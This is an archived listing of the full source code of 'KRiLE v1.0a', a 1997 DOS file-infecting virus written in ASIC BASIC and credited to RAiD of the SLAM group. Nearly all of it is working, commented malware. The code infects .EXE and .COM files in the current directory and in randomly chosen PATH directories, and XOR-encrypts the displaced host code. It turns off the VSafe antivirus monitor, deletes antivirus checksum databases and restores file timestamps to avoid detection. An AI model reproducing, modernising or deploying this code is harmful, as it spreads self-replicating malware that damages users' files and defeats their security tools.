home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / KRILE1B.ZIP / SOURCE.ZIP / KRILE.ASI < prev    next >
Text File  |  1997-11-28  |  12KB  |  548 lines

  1. rem KRiLE v1.0a written by RAiD for [SLAM]
  2. rem This is a specialized version which does not
  3. rem have internally encrypted text, And randomly chooses how many files
  4. rem to infect per run, Which should result in quicker access time.
  5. rem This version takes advantage of TinyProg v3.6 to encrypt it.
  6. rem Use tinyprog.exe /Mb "D" krile.exe to achieve best size.
  7. rem This version of KRiLE doesn't use arrays as large as the virus
  8. rem size because I discovered, asic arrays are 2 bytes  apiece per
  9. rem element! and 4 bytes apiece for extended arrays. :)
  10. rem This version of KRiLE also determines how many paths
  11. rem are actually available, and randomly decides which of the found
  12. rem paths are processed, as well as how many paths. :)
  13. dim virus_data(2304)
  14. dim host_data(2304)
  15. call sub"Criterror!"
  16. randomize
  17. virus_size=4608
  18. virus_size&=4608&
  19. virus_sig$="1234"
  20. exe$="*.exe"
  21. com$="*.com"
  22. killfil1$="anti-vir.dat"
  23. killfil2$="chklist.ms"
  24. killfil3$="chklist.cps"
  25. krsig1$="■KRiLE■ v1.0a - Thought you had me eh? :-> coded by RAiD UsA [SLAM]97"
  26. notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
  27. vsafe_stats=0
  28. gosub vsafe_toggle:
  29. vsafe_stats=cx
  30.  
  31. call sub "exename" hostname$
  32. yourparm$=command$
  33. yourparm$=ltrim$(yourparm$)
  34. yourparm$=rtrim$(yourparm$)
  35. yourparm$=" "+yourparm$
  36.  
  37. gosub chksum_die:
  38. filename$=hostname$
  39. hostsize&=filelen(filename$)
  40. gosub get_attr:
  41. oldattr=newattr
  42. newattr=0
  43. gosub set_attr:
  44. gosub open_file:
  45. bytesize=virus_size
  46. dx=varptr(virus_data(0))
  47. gosub read_file:
  48. gosub close_file:
  49. newattr=oldattr
  50. gosub set_attr:
  51.  
  52. rem Ok, we have an image loaded, let's scan the current directory
  53. rem for use-able hosts. We also deal with any checksum files during
  54. rem this scan.
  55. gosub cur_dir:
  56.  
  57.  
  58. rem Now, were going to find out just how many paths there are
  59. gosub path_search:
  60. rem We are now ready to proceed path infection, after we make one
  61. rem safety check. (this prevents Division By zero errors)
  62. rem Before setting, Ensure loc does *not* equal 0. If by some sad-chance
  63. rem it does, We do *not* even attempt path infection!
  64. target=1
  65. range=loc
  66. if range=0 then
  67. virupath$=""
  68. goto done:
  69. endif
  70. gosub rand_num:
  71. total=a
  72.  
  73. rem If we made it this far, We have determined how many paths
  74. rem There actually are. and how many we will infect. Now, let's
  75. rem decide which ones of that total are to be infected.
  76. exit=0
  77. tally=-1
  78. while exit=0
  79. tally=tally+1
  80. range=loc
  81. gosub rand_num:
  82. n=a
  83. gosub path_infect:
  84. if tally=total then
  85. exit=1
  86. endif
  87. wend
  88.  
  89. done:
  90. target=0
  91. rem We're almost finished. Prepare the host for control passing.
  92. filename$=hostname$
  93. hostsize&=filelen(filename$)
  94. gosub get_attr:
  95. oldattr=newattr
  96. newattr=0
  97. gosub set_attr:
  98. gosub open_file:
  99. gosub get_fdt:
  100. hosttemp&=hostsize&-virus_size&
  101. move_way&=hosttemp&
  102. gosub move_file_pointer:
  103. bytesize=virus_size
  104. dx=varptr(host_data(0))
  105. gosub read_file:
  106. move_way&=0&
  107. gosub move_file_pointer:
  108. gosub cypher_host:
  109. dx=varptr(host_data(0))
  110. bytesize=virus_size
  111. gosub write_file:
  112. gosub set_fdt:
  113. gosub close_file:
  114. gosub strip_garbage:
  115. newattr=oldattr
  116. gosub set_attr:
  117.  
  118. rem Ok, siren anyone?
  119. rem a value of 256 ensures the siren is rare, which means this
  120. rem virus won't be detected right off the bat. No sense calling
  121. rem attention to ourselves too soon. :)
  122. range=256
  123. gosub rand_num:
  124. if a=19 then
  125. gosub siren:
  126. endif
  127.  
  128. call hostname$, yourparm$
  129.  
  130. r=vsafe_stats
  131. vsafe_stats=0
  132. gosub vsafe_toggle:
  133. vsafe_stats=r
  134. filename$=hostname$
  135.  
  136.  
  137. rem Let's make sure we don't accidently infect the host a second
  138. rem time. Happens rarely, but a good safety precaution anyways.
  139. rem Besides, doesn't eat much more code space.
  140. gosub infect_check:
  141. if infected=0 then
  142. gosub lets_infect:
  143. endif
  144.  
  145. rem Check the current directory again, Host might have created
  146. rem some new targets. pkunzip.exe being a good example. Note: This
  147. rem allows my virus to resemble TSR based viruses somewhat. <G>
  148. gosub cur_dir:
  149.  
  150. gosub vsafe_toggle:
  151.  
  152. rem The range was already set at 256, we'll leave it
  153. rem as it is. and get us a number :)
  154. range=256
  155. gosub rand_num:
  156.  
  157. if a=19 then
  158. gosub say_hi:
  159. endif
  160.  
  161. rem The end has been reached, return to operating system or calling
  162. rem program.
  163. end
  164.  
  165. start_virus:
  166. errcode=0
  167. attr=6
  168. kewl=0
  169.  
  170. rem Setup rand-generator range to 4, and decide how many files
  171. rem were going to infect for this run :)
  172. range=4
  173. gosub rand_num:
  174. virii=a
  175.  
  176. rem Ok, decision made, let's infect!
  177.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  178.        WHILE ErrCode = 0
  179.           CALL SUB "GetNameF" FileName$
  180.   filename$=virupath$+filename$
  181.   gosub infect_check:
  182. if infected=0 then
  183. gosub lets_infect:
  184. endif
  185.          CALL SUB "FindNextF" ErrCode
  186.          if kewl=virii then
  187.          errcode=1
  188.          endif
  189.    WEND
  190.  
  191. return
  192.  
  193. Lets_infect:
  194. rem Lets put our virus into the file shall we? :)
  195. hostsize&=filelen(filename$)
  196. gosub get_attr:
  197. oldattr=newattr
  198. newattr=0
  199. gosub set_attr:
  200. gosub open_file:
  201. gosub get_fdt:
  202. bytesize=virus_size
  203. dx=varptr(host_data(0))
  204. gosub read_file:
  205. move_way&=0&
  206. gosub move_file_pointer:
  207. bytesize=virus_size
  208. dx=varptr(virus_data(0))
  209. gosub write_file:
  210. move_way&=hostsize&
  211. gosub move_file_pointer:
  212. gosub cypher_host:
  213. dx=varptr(host_data(0))
  214. bytesize=virus_size
  215. gosub write_file:
  216. gosub set_fdt:
  217. kewl=kewl+1
  218. gosub close_file:
  219. newattr=oldattr
  220. gosub set_attr:
  221. return
  222.  
  223. rem miscallenous file i/o routines beyond this point. Boring to  look
  224. rem at.:)
  225.  
  226. get_attr:
  227. AX = &HEX4300
  228. DX = VARPTR(Filename$)
  229. CX = NewAttr
  230. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  231. return
  232.  
  233. set_attr:
  234. AX = &HEX4301
  235. DX = VARPTR(Filename$)
  236. CX = NewAttr
  237. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  238. return
  239.  
  240. vsafe_toggle:
  241. ax=&hexfa02
  242. dx=&hex5945
  243. bx=vsafe_stats
  244. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  245. return
  246.  
  247. get_fdt:
  248. if file_handle>4 then
  249. AX=&HEX5700
  250. BX=FILE_HANDLE
  251. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  252. NEWDATE=CX
  253. NEWTIME=DX
  254. endif
  255. RETURN
  256.  
  257. set_fdt:
  258. if file_handle>4 then
  259. AX=&HEX5701
  260. BX=FILE_HANDLE
  261. CX=NEWDATE
  262. DX=NEWTIME
  263. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  264. endif
  265. RETURN
  266.  
  267. rem DOS int file i/o driven code beyond this point :)
  268.  
  269. rem ax=&hex3d00
  270. rem ax opens file for read in this mode :-)
  271. rem ax=&hex3d01
  272. rem ax opens file for write in this mode :-)
  273. rem ax=&hex3d02
  274. rem ax opens file for read/write access :) hehehe
  275.  
  276. open_file:
  277. AX=&HEX3D02
  278. DX = VARPTR(Filename$)
  279. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  280. file_handle=ax
  281. return
  282.  
  283. write_file:
  284. rem this routine will write selected bytes at whatever current position
  285. rem from whatever buffer i choose into the file.
  286. rem if the routine did not write all data ax will not equal cx upon
  287. rem return from int call.
  288. rem define dx register before calling this routine to point to the
  289. rem memory address of the buffer area you want to write from. like so:
  290. rem dx=varptr(buffer(0))
  291. rem cx is how many bytes to write :)
  292. if file_handle>4 then
  293. ax=&hex4000
  294. bx=file_handle
  295. cx=bytesize
  296. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  297. byteswritten=ax
  298. endif
  299. return
  300.  
  301. read_file:
  302. rem as the name implies, it reads bytes into a buffer. :-)
  303. rem as with write_file, you need to predefine the dx register for the
  304. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  305. rem if you don't, this routine will not work, or will overwrite some
  306. rem other section of memory. And for virus coding, this is very bad! :)
  307. rem cx register is how many bytes to read :)
  308. if file_handle>4 then
  309. ax=&hex3f00
  310. bx=file_handle
  311. cx=bytesize
  312. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  313. bytesread=ax
  314. endif
  315. return
  316.  
  317. close_file:
  318. rem This routine will close the selected file.
  319. rem do not try to close handle 2, very nasty... :-(
  320. if file_handle>4 then
  321. ax=&hex3e00
  322. bx=file_handle
  323. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  324. endif
  325. return
  326.  
  327. move_file_pointer:
  328. rem Moves file pointer from start of file to whereever I wanna go
  329. rem Routine called is patched(hacked) from asilib.lib
  330. method=0
  331. call sub "fseek" file_handle, move_way&, method, errcode
  332. return
  333.  
  334. cypher_host:
  335. y=varptr(host_data(0))
  336. z=y+virus_size
  337. for x=y to z
  338. a=peek(x)
  339. ax=a
  340. bx=x
  341. rem Shrug, asic has no built in XOR routine, so we
  342. rem chat with the CPU ourselves to XOR it :)
  343. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  344. CODE &HEX31, &HEXD8
  345. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  346. rem ENd of cpu-xor chat
  347. poke x,ax
  348. next x
  349. return
  350.  
  351. infect_check:
  352. rem routine checks for files to avoid, size validation and to make
  353. rem sure the file is not already infected. If any of the routines
  354. rem return infected=1 then the rest of the file  i/o does not
  355. rem occur (saves a few miliseconds i/o time)
  356. infected=0
  357. gosub do_not_touch:
  358. if infected=0 then
  359. gosub size_check:
  360. endif
  361. if infected=0 then
  362. gosub prev_check:
  363. endif
  364. return
  365.  
  366. prev_check:
  367. rem Is this file already infected?
  368. gosub get_attr:
  369. newattr=oldattr
  370. newattr=0
  371. gosub set_attr:
  372. sig$="    "
  373. gosub open_file:
  374. move_way&=28
  375. gosub move_file_pointer:
  376. dx=varptr(sig$)
  377. bytesize=4
  378. gosub read_file:
  379. gosub close_file:
  380. newattr=oldattr
  381. gosub set_attr:
  382. if sig$=virus_sig$ then
  383. infected=1
  384. endif
  385. if file_handle<5 then
  386. rem We couldn't open the damn file to check, assume it is indeed
  387. rem infected. and let's not fool with it. :)
  388. infected=1
  389. endif
  390. return
  391.  
  392. strip_garbage:
  393. rem This routine quickly scrapes off the appended data
  394. rem we wrote during the infection process
  395. gosub open_file:
  396. move_way&=hosttemp&
  397. gosub move_file_pointer:
  398. dx=0
  399. bytesize=0
  400. gosub write_file:
  401. gosub set_fdt:
  402. gosub close_file:
  403. return
  404.  
  405. do_not_touch:
  406. rem Make sure the following files are NOT infected or
  407. rem otherwise tampered with.
  408. test$=filename$
  409. test$=ucase$(test$)
  410. test=len(test$)
  411. test=test-4
  412. test$=left$(test$,test)
  413. a$=ucase$(notouch$)
  414. b=instr(a$,test$)
  415. if b>0 then
  416. infected=1
  417. endif
  418. return
  419.  
  420. size_check:
  421. rem make sure the target file is larger then our virus
  422. rem if it's not, we must not bother to infect it.
  423. a&=filelen(filename$)
  424. if a&<virus_size& then
  425. rem file is  too small
  426. infected=1
  427. endif
  428. return
  429.  
  430. chksum_die:
  431. rem this kills chksum type files with a few simple calls
  432. rem setting toast to killfil1$ 2 and 3 respectively
  433. rem also cuts down on virus size.
  434. ar$=filename$
  435. rem above code stores original filename
  436. toast$=killfil1$
  437. gosub waste:
  438. toast$=killfil2$
  439. gosub waste:
  440. toast$=killfil3$
  441. gosub waste:
  442. filename$=ar$
  443. return
  444.  
  445. say_hi:
  446. rem say our greeting and return to calling routine.
  447.  
  448. print krsig1$
  449.  
  450. RETURN
  451.  
  452. siren:
  453. rem muahahaha, Siren sounds :-)
  454. siren=1
  455. gosub siren_out:
  456. siren=0
  457. gosub siren_out:
  458. siren=1
  459. gosub siren_out:
  460. siren=0
  461. gosub siren_out:
  462. return
  463.  
  464. siren_out:
  465. rem if were to go up, set siren=1 else
  466. rem set siren=0 to go down :)
  467. for x=1 to 2000
  468. if siren=1 then
  469. z=x
  470. else
  471. z=2000
  472. z=z-x
  473. endif
  474. sound z,1
  475. next x
  476. return
  477.  
  478. cur_dir:
  479. rem routine searches for and infects files in current directory
  480. rem this routine is used 2 times, so I just decided to make it a
  481. rem subroutine to save bytes.
  482. virupath$=""
  483. gosub chksum_die:
  484. proc$=exe$
  485. gosub start_virus:
  486. proc$=com$
  487. gosub start_virus:
  488. return
  489.  
  490. waste:
  491. rem routine called by chksum_die
  492. rem removes all attributes and deletes requested file.
  493. filename$=virupath$
  494. filename$=filename$+toast$
  495. newattr=0
  496. gosub set_attr:
  497. kill filename$
  498. return
  499.  
  500. rand_num:
  501. rem gets us a random number, of the selected range
  502. rem settable with the 'range' value. Saves bytes by only
  503. rem coding this part once and calling it on occasion for various
  504. rem fun things. Muahahaha
  505. a=rnd(0)
  506. a=a mod range
  507. if target=0 then
  508. a=a+1
  509. endif
  510. return
  511.  
  512. path_search:
  513. rem This routine tallys total  paths defined
  514. rem for later random processing.
  515. exit=0
  516. loc=0
  517. while exit=0
  518. call sub "path",loc,virupath$
  519. if virupath$="" then
  520. exit=1
  521. else
  522. loc=loc+1
  523. endif
  524. wend
  525. return
  526.  
  527. path_infect:
  528. rem routine proceeds to infect selected path given via the 'n' variable
  529. rem Notice, another safety check. This routine will abort if the
  530. rem selected path does not exist.
  531.           call sub "path", n, virupath$
  532.           i=LEN(virupath$)
  533.           if i>0 then
  534.           b$=right$(virupath$,1)
  535.         if b$<>"\" then
  536.         virupath$=virupath$+"\"
  537.         endif
  538.         rem Before we infect, trash checksum files
  539.         gosub chksum_die:
  540.         proc$=virupath$+exe$
  541.         gosub start_virus:
  542.         proc$=virupath$+com$
  543.         gosub start_virus:
  544. endif
  545. return
  546.  
  547.  
  548.